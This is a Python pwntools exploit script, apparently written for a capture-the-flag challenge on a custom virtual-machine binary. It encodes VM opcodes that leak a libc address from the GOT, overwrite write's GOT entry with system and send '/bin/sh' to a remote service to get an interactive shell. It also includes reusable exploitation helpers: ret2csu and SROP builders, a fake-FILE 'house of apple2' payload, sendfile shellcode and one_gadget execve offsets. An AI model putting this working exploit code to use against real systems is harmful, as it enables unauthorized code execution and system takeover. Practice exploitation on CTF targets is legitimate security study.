context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["kitty"]
binary_path = "./mvmps/vvmm"
libc_path = "./mvmps/libc.so.6"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "45.40.247.139", 20245
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote(ip, port)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#


'''

opcode:

000000_00

0000_0000_XX_03 =>
reg0 = XX
reg1 = ins

oplist1

YY_XX_02 =>
reg0 = XX
reg1 = YY

oplist2

XX_01 =>
reg0 = XX

oplist3

CC_BB_AA_00 =>
reg0 = 00AA_BBCC

oplist4

'''

'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
'''


def oplist1(func, reg0, reg1):
return p64((reg1 << 16) | (reg0 << 8) | (func << 2) | 3)[:-2]


def oplist2(func, reg0, reg1):
return p32((reg1 << 16) | (reg0 << 8) | (func << 2) | 2)[:-1]


def oplist3(func, reg0):
return p16((reg0 << 8) | (func << 2) | 1)


def oplist4(func, reg0):
return p32(((reg0 & 0xff) << 24) | ((reg0 & 0xff00) << 8) | ((reg0 & 0xff0000) >> 8) | (func << 2) | 0)


puts_got = elf.got["puts"]
write_got = elf.got["write"]

bss_addr = 0x405800

payload = oplist1(3, 0, 1)
payload += oplist1(3, 1, puts_got)
payload += oplist1(3, 2, 0x8)
payload += oplist4(ord('3'), 1)

payload += oplist1(3, 0, 0)
payload += oplist1(3, 1, write_got) # 0xdead
payload += oplist1(3, 2, 0x8)
payload += oplist4(ord('3'), 0)

payload += oplist1(3, 0, 0)
payload += oplist1(3, 1, bss_addr) # 0xdead
payload += oplist1(3, 2, 0x8)
payload += oplist4(ord('3'), 0)

payload += oplist1(3, 0, bss_addr)
payload += oplist4(ord('3'), 1)

'''
payload += oplist1(3, 0, 0)
payload += oplist1(3, 1, 0x4050e4) # 0xdead
payload += oplist1(3, 2, 0x8)

payload += oplist4(ord('3'), 0)

payload += oplist1(3, 0, 0)
payload += oplist1(3, 1, 0x4050f4) # 0xbeef
payload += oplist1(3, 2, 0x8)

payload += oplist4(ord('3'), 0)

payload += oplist1(3, 0, 0xdead)
payload += oplist1(7, 0, 32)
payload += oplist1(5, 0, 0xbeef)

payload += oplist4(ord('3'), 1)
'''

p.sendafter(b"\n", payload)

libc_base = u64(p.recvn(8)) - libc.sym["puts"]
ls(libc_base)

system = libc_base + libc.sym["system"]

p.send(p64(system))

sleep(1)
# dbg(p)
p.send(b'/bin/sh\x00')

p.interactive()